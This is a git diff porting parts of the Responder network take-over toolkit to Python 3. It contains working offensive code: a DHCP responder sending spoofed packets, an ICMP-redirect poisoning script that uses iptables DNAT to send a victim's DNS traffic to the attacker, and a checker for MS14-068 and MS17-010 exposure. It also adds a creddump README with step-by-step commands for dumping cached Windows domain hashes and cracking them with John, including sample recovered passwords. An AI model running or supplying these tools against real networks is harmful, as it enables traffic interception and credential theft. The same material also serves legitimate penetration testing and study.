elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print text("[DHCP] %s" % ret)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print(text("[DHCP] %s" % ret))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -34,23 +34,23 @@ def GetBootTime(data):
|
|||
|
||||
def IsDCVuln(t, host):
|
||||
if t[0] == 0:
|
||||
print "Server", host[0], "did not disclose its boot time"
|
||||
print("Server", host[0], "did not disclose its boot time")
|
||||
return
|
||||
|
||||
|
||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "System is up since:", t[1]
|
||||
print "This system may be vulnerable to MS14-068"
|
||||
Date = datetime.datetime(2017, 03, 14, 0, 30)
|
||||
print("System is up since:", t[1])
|
||||
print("This system may be vulnerable to MS14-068")
|
||||
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "System is up since:", t[1]
|
||||
print "This system may be vulnerable to MS17-010"
|
||||
print "Server", host[0], "is up since:", t[1]
|
||||
print("System is up since:", t[1])
|
||||
print("This system may be vulnerable to MS17-010")
|
||||
print("Server", host[0], "is up since:", t[1])
|
||||
|
||||
|
||||
def run(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
s.settimeout(5)
|
||||
try:
|
||||
s.connect(host)
|
||||
|
||||
|
@ -64,7 +64,7 @@ def run(host):
|
|||
|
||||
data = s.recv(1024)
|
||||
if data[4:5] == "\xff":
|
||||
print "Server", host[0], "doesn't support SMBv2"
|
||||
print("Server", host[0], "doesn't support SMBv2")
|
||||
if data[4:5] == "\xfe":
|
||||
IsDCVuln(GetBootTime(data[116:124]), host)
|
||||
|
||||
|
@ -75,10 +75,10 @@ def run(host):
|
|||
s.close()
|
||||
pass
|
||||
|
||||
def atod(a):
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
|
||||
def dtoa(d):
|
||||
def dtoa(d):
|
||||
return inet_ntoa(struct.pack("!L", d))
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -16,7 +16,7 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from socket import *
|
||||
|
||||
print 'MSSQL Server Finder 0.1'
|
||||
print('MSSQL Server Finder 0.2')
|
||||
|
||||
s = socket(AF_INET,SOCK_DGRAM)
|
||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||
|
@ -24,17 +24,15 @@ s.settimeout(2)
|
|||
s.sendto('\x02',('255.255.255.255',1434))
|
||||
|
||||
try:
|
||||
while 1:
|
||||
data, address = s.recvfrom(8092)
|
||||
if not data:
|
||||
break
|
||||
else:
|
||||
print "==============================================================="
|
||||
print "Host details:",address[0]
|
||||
print data[2:]
|
||||
print "==============================================================="
|
||||
print ""
|
||||
while 1:
|
||||
data, address = s.recvfrom(8092)
|
||||
if not data:
|
||||
break
|
||||
else:
|
||||
print("===============================================================")
|
||||
print(("Host details: %s"%(address[0])))
|
||||
print((data[2:]))
|
||||
print("===============================================================")
|
||||
print("")
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
pass
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
|
|||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
print("-i mandatory option is missing.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
print("-g mandatory option is missing, please provide the original gateway address.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
print("-t mandatory option is missing, please provide a target.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
print("-I mandatory option is missing, please provide your network interface.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
print("-r mandatory option is missing, please provide a destination target.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
|
@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr):
|
|||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
|
||||
exit(1)
|
||||
|
||||
def IcmpRedirectSock(DestinationIP):
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
print '[ARP]Target Mac address is :',PrintMac
|
||||
print('[ARP]Target Mac address is :',PrintMac)
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
print '[ARP]Router Mac address is :',PrintMac
|
||||
print('[ARP]Router Mac address is :',PrintMac)
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
|
@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP):
|
|||
IPPack.calculate()
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
|
||||
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
|
||||
|
||||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
|
@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip):
|
|||
ouripadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.")
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
print("[+]Repoisoning the target in 8 minutes...")
|
||||
sleep(480)
|
||||
|
||||
FindWhatToDo(ToThisHost2)
|
||||
|
|
120
tools/MultiRelay/creddump/.gitignore
vendored
Normal file
120
tools/MultiRelay/creddump/.gitignore
vendored
Normal file
|
@ -0,0 +1,120 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# PyCharm
|
||||
.idea
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
.python-version
|
||||
|
||||
# celery beat schedule file
|
||||
celerybeat-schedule
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
.pylintrc
|
|
@ -6,4 +6,4 @@ Version: 0.3 Date: 8/1/2012
|
|||
Version: 0.2 Date: 2/24/2011
|
||||
|
||||
* Fixed issue with wrong format specifier being used (L instead of I), which
|
||||
caused creddump to fail on 64-bit systems.
|
||||
caused creddump to fail on 64-bit systems.
|
||||
|
|
182
tools/MultiRelay/creddump/README.md
Normal file
182
tools/MultiRelay/creddump/README.md
Normal file
|
@ -0,0 +1,182 @@
|
|||
#Information
|
||||
This repo is for my modifications to the original 'creddump' program available
|
||||
at:
|
||||
|
||||
https://code.google.com/p/creddump/
|
||||
|
||||
I did not write the original program.
|
||||
|
||||
I have combined many patches and fixes I have seen from different forums and
|
||||
user suggestions, as well as modified the usage to make it a little more clear.
|
||||
|
||||
I followed patches and fixes from the following links:
|
||||
|
||||
* https://code.google.com/p/creddump/issues/detail?id=4
|
||||
* https://code.google.com/p/volatility/issues/detail?id=92
|
||||
|
||||
Enjoy!
|
||||
Ronnie Flathers (@ropnop)
|
||||
|
||||
|
||||
###Usage
|
||||
Mount a Windows 7/Vista partition:
|
||||
```
|
||||
# mkdir /mnt/win
|
||||
# ntfs-3g /dev/sda1 /mnt/win
|
||||
```
|
||||
|
||||
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
|
||||
```
|
||||
# ./cachedump.py
|
||||
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
|
||||
|
||||
Example (Windows Vista/7):
|
||||
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
|
||||
|
||||
Example (Windows XP):
|
||||
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
|
||||
|
||||
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
|
||||
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
|
||||
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
|
||||
```
|
||||
|
||||
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
|
||||
```
|
||||
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
|
||||
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
|
||||
g0d (god)
|
||||
Welcome1! (nharpsis)
|
||||
```
|
||||
|
||||
We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
|
||||
|
||||
|
||||
####Below is the original README file
|
||||
|
||||
|
||||
OVERVIEW
|
||||
|
||||
creddump is a python tool to extract various credentials and secrets from
|
||||
Windows registry hives. It currently extracts:
|
||||
* LM and NT hashes (SYSKEY protected)
|
||||
* Cached domain passwords
|
||||
* LSA secrets
|
||||
|
||||
It essentially performs all the functions that bkhive/samdump2,
|
||||
cachedump, and lsadump2 do, but in a platform-independent way.
|
||||
|
||||
It is also the first tool that does all of these things in an offline
|
||||
way (actually, Cain & Abel does, but is not open source and is only
|
||||
available on Windows).
|
||||
|
||||
REQUIREMENTS
|
||||
|
||||
alldump has only been tested on python 2.5. It should work on 2.4 as
|
||||
well, but will likely need modification before it will work on 2.3 or
|
||||
below.
|
||||
|
||||
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
|
||||
see: http://www.amk.ca/python/code/crypto
|
||||
|
||||
For lsadump: system and SECURITY hives
|
||||
For cachedump: system and SECURITY hives
|
||||
For pwdump: system and SAM hives
|
||||
|
||||
USAGE
|
||||
|
||||
Dump cached domain hashes:
|
||||
usage: ./cachedump.py <system hive> <security hive>
|
||||
|
||||
Dump LSA secrets:
|
||||
usage: ./lsadump.py <system hive> <security hive>
|
||||
|
||||
Dump local password hashes:
|
||||
usage: ./pwdump.py <system hive> <SAM hive>
|
||||
|
||||
FEATURES
|
||||
|
||||
* Platform independent operation. The only inputs are the hive files
|
||||
from the system--we don't rely on any Windows functionality at all.
|
||||
* Open-source and (hopefully!) readble implementations of Windows
|
||||
obfuscation algorithms used to protect LSA secrets, cached domain
|
||||
passwords, and
|
||||
* A reasonably forgiving registry file parser in pure Python. Look
|
||||
through framework/types.py and framework/win32/rawreg.py to see how it
|
||||
works.
|
||||
* The first complete open-source implementation of advapi32's
|
||||
SystemFunction005. The version in the Wine source code does not
|
||||
appear to allow for keys longer than 7 bytes, while the Windows
|
||||
version (and this version) does. See decrypt_secret() in
|
||||
framework/win32/lsasecrets.py
|
||||
|
||||
AUTHOR
|
||||
|
||||
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
|
||||
For more information on Syskey, LSA secrets, cached domain credentials,
|
||||
and lots of information on volatile memory forensics and reverse
|
||||
engineering, check out:
|
||||
|
||||
http://moyix.blogspot.com/
|
||||
|
||||
CREDITS
|
||||
* AAron Walters. Much of the data type parsing code is taken from
|
||||
Volatility, an excellent memory analysis framework written in Python.
|
||||
He's also a really nice guy, and has helped me out a lot in my
|
||||
research.
|
||||
|
||||
https://www.volatilesystems.com/default/volatility
|
||||
|
||||
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
|
||||
to derive the LSA key so that it can be computed directly from the
|
||||
hive files, as decribed in this post:
|
||||
|
||||
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
|
||||
http://www.oxid.it/
|
||||
|
||||
* Jeremy Allison, for the details of the obfuscation applied to password
|
||||
hashes in the SAM, as implemented in the original pwdump.
|
||||
|
||||
http://us4.samba.org/samba/ftp/pwdump/
|
||||
|
||||
* Nicola Cuomo, for his excellent description of the syskey mechanism
|
||||
and how it is used to encrypt the SAM in Windows 2000 and above.
|
||||
|
||||
http://www.studenti.unina.it/~ncuomo/syskey/
|
||||
|
||||
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
|
||||
read LSA secrets directly from the registry, given the LSA key.
|
||||
|
||||
http://www.xfocus.net/articles/200411/749.html
|
||||
|
||||
[Note: the above is in Chinese, but quite comprehensible if you use
|
||||
Google Translate and can read C ;)]
|
||||
|
||||
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
|
||||
which he apparently took from SSLEAY:
|
||||
|
||||
http://seclists.org/pen-test/2005/Jan/0180.html
|
||||
|
||||
* Arnaud Pilon, for the details of how to retrieve cached domain, as
|
||||
implemented in cachedump.
|
||||
|
||||
http://www.securiteam.com/tools/5JP0I2KFPA.html
|
||||
|
||||
* S<>bastien Ke, for his cute hexdump recipe:
|
||||
|
||||
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
|
||||
|
||||
LICENSE
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
23
tools/MultiRelay/creddump/cachedump.py
Normal file → Executable file
23
tools/MultiRelay/creddump/cachedump.py
Normal file → Executable file
|
@ -15,19 +15,34 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# pylint: disable=invalid-name,missing-docstring
|
||||
|
||||
"""
|
||||
@author: Brendan Dolan-Gavitt
|
||||
@license: GNU General Public License 2.0 or later
|
||||
@contact: bdolangavitt@wesleyan.edu
|
||||
"""
|
||||
|
||||
|
||||
import sys
|
||||
from framework.win32.domcachedump import dump_file_hashes
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "usage: %s bootkey <security hive>" % sys.argv[0]
|
||||
|
||||
def showUsage():
|
||||
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
|
||||
print("\nExample (Windows Vista/7):")
|
||||
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
|
||||
print("\nExample (Windows XP):")
|
||||
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
|
||||
|
||||
|
||||
if len(sys.argv) < 4:
|
||||
showUsage()
|
||||
sys.exit(1)
|
||||
|
||||
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
|
||||
if sys.argv[3].lower() not in ["true", "false"]:
|
||||
showUsage()
|
||||
sys.exit(1)
|
||||
|
||||
vista = sys.argv[3].lower() == "true"
|
||||
|
||||
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])
|
||||
|
|
|
@ -13,11 +13,11 @@
|
|||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
#
|
||||
|
||||
"""
|
||||
|
@ -25,37 +25,40 @@
|
|||
@license: GNU General Public License 2.0 or later
|
||||
@contact: awalters@volatilesystems.com
|
||||
@organization: Volatile Systems
|
||||
|
||||
Alias for all address spaces
|
||||
"""
|
||||
|
||||
""" Alias for all address spaces """
|
||||
# pylint: disable=missing-docstring
|
||||
|
||||
import os
|
||||
import struct
|
||||
|
||||
|
||||
class FileAddressSpace:
|
||||
def __init__(self, fname, mode='rb', fast=False):
|
||||
self.fname = fname
|
||||
self.name = fname
|
||||
self.fhandle = open(fname, mode)
|
||||
self.name = fname
|
||||
self.fhandle = open(fname, mode)
|
||||
self.fsize = os.path.getsize(fname)
|
||||
|
||||
if fast == True:
|
||||
if fast:
|
||||
self.fast_fhandle = open(fname, mode)
|
||||
|
||||
def fread(self,len):
|
||||
def fread(self, len):
|
||||
return self.fast_fhandle.read(len)
|
||||
|
||||
def read(self, addr, len):
|
||||
self.fhandle.seek(addr)
|
||||
return self.fhandle.read(len)
|
||||
self.fhandle.seek(addr)
|
||||
return self.fhandle.read(len)
|
||||
|
||||
def read_long(self, addr):
|
||||
string = self.read(addr, 4)
|
||||
(longval, ) = struct.unpack('L', string)
|
||||
(longval,) = struct.unpack('L', string)
|
||||
return longval
|
||||
|
||||
def get_address_range(self):
|
||||
return [0,self.fsize-1]
|
||||
return [0, self.fsize - 1]
|
||||
|
||||
def get_available_addresses(self):
|
||||
return [self.get_address_range()]
|
||||
|
@ -63,13 +66,15 @@ class FileAddressSpace:
|
|||
def is_valid_address(self, addr):
|
||||
return addr < self.fsize - 1
|
||||
|
||||
def close():
|
||||
def close(self):
|
||||
self.fhandle.close()
|
||||
|
||||
|
||||
# Code below written by Brendan Dolan-Gavitt
|
||||
|
||||
BLOCK_SIZE = 0x1000
|
||||
|
||||
|
||||
class HiveFileAddressSpace:
|
||||
def __init__(self, fname):
|
||||
self.fname = fname
|
||||
|
@ -80,16 +85,16 @@ class HiveFileAddressSpace:
|
|||
|
||||
def read(self, vaddr, length, zero=False):
|
||||
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
|
||||
full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
|
||||
full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
|
||||
left_over = (length + vaddr) % BLOCK_SIZE
|
||||
|
||||
|
||||
paddr = self.vtop(vaddr)
|
||||
if paddr == None and zero:
|
||||
if paddr is None and zero:
|
||||
if length < first_block:
|
||||
return "\0" * length
|
||||
else:
|
||||
stuff_read = "\0" * first_block
|
||||
elif paddr == None:
|
||||
elif paddr is None:
|
||||
return None
|
||||
else:
|
||||
if length < first_block:
|
||||
|
@ -104,11 +109,11 @@ class HiveFileAddressSpace:
|
|||
stuff_read = "\0" * first_block
|
||||
|
||||
new_vaddr = vaddr + first_block
|
||||
for i in range(0,full_blocks):
|
||||
for __ in range(0, full_blocks):
|
||||
paddr = self.vtop(new_vaddr)
|
||||
if paddr == None and zero:
|
||||
if paddr is None and zero:
|
||||
stuff_read = stuff_read + "\0" * BLOCK_SIZE
|
||||
elif paddr == None:
|
||||
elif paddr is None:
|
||||
return None
|
||||
else:
|
||||
new_stuff = self.base.read(paddr, BLOCK_SIZE)
|
||||
|
@ -122,9 +127,9 @@ class HiveFileAddressSpace:
|
|||
|
||||
if left_over > 0:
|
||||
paddr = self.vtop(new_vaddr)
|
||||
if paddr == None and zero:
|
||||
if paddr is None and zero:
|
||||
stuff_read = stuff_read + "\0" * left_over
|
||||
elif paddr == None:
|
||||
elif paddr is None:
|
||||
return None
|
||||
else:
|
||||
stuff_read = stuff_read + self.base.read(paddr, left_over)
|
||||
|
@ -132,10 +137,11 @@ class HiveFileAddressSpace:
|
|||
|
||||
def read_long_phys(self, addr):
|
||||
string = self.base.read(addr, 4)
|
||||
(longval, ) = struct.unpack('L', string)
|
||||
(longval,) = struct.unpack('L', string)
|
||||
return longval
|
||||
|
||||
def is_valid_address(self, vaddr):
|
||||
paddr = self.vtop(vaddr)
|
||||
if not paddr: return False
|
||||
if not paddr:
|
||||
return False
|
||||
return self.base.is_valid_address(paddr)
|
||||
|
|
|
@ -19,14 +19,18 @@
|
|||
@contact: bdolangavitt@wesleyan.edu
|
||||
"""
|
||||
|
||||
from framework.object import *
|
||||
from framework.types import regtypes as types
|
||||
# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
|
||||
|
||||
from operator import itemgetter
|
||||
from struct import unpack
|
||||
|
||||
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
|
||||
from framework.types import regtypes as types
|
||||
|
||||
|
||||
def get_ptr_type(structure, member):
|
||||
"""Return the type a pointer points to.
|
||||
|
||||
|
||||
Arguments:
|
||||
structure : the name of the structure from vtypes
|
||||
member : a list of members
|
||||
|
@ -43,24 +47,25 @@ def get_ptr_type(structure, member):
|
|||
else:
|
||||
return types[structure][1][member[0]][1][1]
|
||||
|
||||
|
||||
class Obj(object):
|
||||
"""Base class for all objects.
|
||||
|
||||
|
||||
May return a subclass for certain data types to allow
|
||||
for special handling.
|
||||
"""
|
||||
|
||||
def __new__(typ, name, address, space):
|
||||
def __new__(cls, name, address, space):
|
||||
if name in globals():
|
||||
# This is a bit of "magic"
|
||||
# Could be replaced with a dict mapping type names to types
|
||||
return globals()[name](name,address,space)
|
||||
return globals()[name](name, address, space)
|
||||
elif name in builtin_types:
|
||||
return Primitive(name, address, space)
|
||||
else:
|
||||
obj = object.__new__(typ)
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
|
||||
def __init__(self, name, address, space):
|
||||
self.name = name
|
||||
self.address = address
|
||||
|
@ -70,7 +75,7 @@ class Obj(object):
|
|||
# to show up in values() or members(), even if they do not
|
||||
# appear in the vtype definition
|
||||
self.extra_members = []
|
||||
|
||||
|
||||
def __getattribute__(self, attr):
|
||||
try:
|
||||
return object.__getattribute__(self, attr)
|
||||
|
@ -84,7 +89,7 @@ class Obj(object):
|
|||
off, tp = get_obj_offset(types, [self.name, attr])
|
||||
except:
|
||||
raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
|
||||
|
||||
|
||||
if tp == 'array':
|
||||
a_len = types[self.name][1][attr][1][1]
|
||||
l = []
|
||||
|
@ -92,37 +97,37 @@ class Obj(object):
|
|||
a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
|
||||
if a_tp == 'pointer':
|
||||
ptp = get_ptr_type(self.name, [attr, i])
